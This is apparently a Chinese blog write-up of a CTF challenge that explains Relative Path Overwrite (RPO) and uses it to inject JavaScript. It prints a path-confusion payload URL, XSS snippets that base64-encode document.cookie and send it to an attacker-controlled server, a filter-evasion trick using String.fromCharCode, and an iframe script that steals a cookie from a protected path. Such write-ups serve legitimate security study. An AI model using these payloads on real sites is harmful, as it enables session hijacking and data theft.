RPO漏洞

参考文献:
http://120.77.209.122/index.php/archives/24/
https://www.jianshu.com/p/340bd5353248

RPO漏洞就是服务端和客户端对这个URL的解析不一致导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载

在apche上..%2f不能解析,只有在nginx上才能实现。条件这么苛刻,都不知道用处多大。。

http://www.cnblogs.com/p00mj/p/6755000.html:这个大佬的入门还是挺好的,可以看看这个,apache上也可以复现,代码就不贴了。有传参存在的时候,在这里浏览器误以为我们参数的键/country/是一个实际的路径,从而导致实际加载的css文件路径就成了
http://localhost/hello/url.php/country/style.css,在这里服务端收到的请求会认为请求/country/style.css是一个键为country值为style.css的参数,从而返回页面。

发现RPO后利用修改了网页的路径,使页面css加载路径成为了可以加载任意的google域名下的任意样式表,然后在样式表中找到一个可以使用参数导入背景的网页,向里面插入攻击参数,传入了一个简单的css样式。使用被攻击页面url进行引用,页面的css样式改变攻击代码在能成功执行。

实在是不想搭个nginx的环境了,将强网杯 share your mind 复现下好了

在源码中,其中一个调用js的时候没有/,存在rpo漏洞。

img_dfe19f857dbc065fa5c00df22a5ecc5f.png
1.png
img_34c00b172d7e669a50600d12d874e1ff.png
1.png
img_5b16add8cab43aa23328d90dcd404d67.png
2.png

payload:
http://39.107.33.96:20000/index.php/view/article/2664/..%2f..%2f..%2f..%2findex.php
(%2f是/的url编码,服务器能解析,但是浏览器不能解析)
其中,写文章的地方是我们可控的,写入我们想测试的xss语句,标题不要写,内容为alert(1),然后引用payload发现弹框了。

查看当前js的引用路径http://39.107.33.96:20000/index.php/view/article/2664/static/js/jquery.min.js
我们正常访问这个路径时发现内容和我们访问http://39.107.33.96:20000/index.php/view/article/2664的内容是一样的
这就说明,网页按照这个路径把2664的内容当做了js文件进行了请求,并且还当做js代码执行了,而后面的js的路径被当做了参数忽略了。

构建攻击payload

b=document.cookie;a='<img src=http://ip/'+btoa(b)+'>';  document.write(a);
ip为自己的服务器ip,在服务器上查看日志文件

因为攻击代码的引用时会过滤了单引号和双引号,所以要对payload进行实体化编码,用String.fromCharCode()函数引用
print map(ord ,"payload") //将payload放入进行实体化编码,python真的强
eval(String.fromCharCode()) //将实体化编码的payload放入
然后将http://39.107.33.96:20000/index.php/view/article/2578/..%2f..%2f..%2f..%2findex.php提交到Reports

img_9719081624366608bee7449acea38318.png
1.png

将GET后的内容base64解码,得到HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
提交的时候还需爆破substr((md5($code),0,6) ,贴下代码

# !/usr/bin/env python
import hashlib
def md5(s):
    return hashlib.md5(s).hexdigest()
for i in range(1, 99999999):
    if md5(str(i)).startswith('cd5664'):
        print i
        break

将里面的内容写成题目上给的就行

然后继续

var i = document.createElement("iframe");i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);i.addEventListener( "load", function(){ var content = i.contentWindow.document.cookie; location='//yourvps/'+btoa(content);}, false);

跟上面一样,就不贴了。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值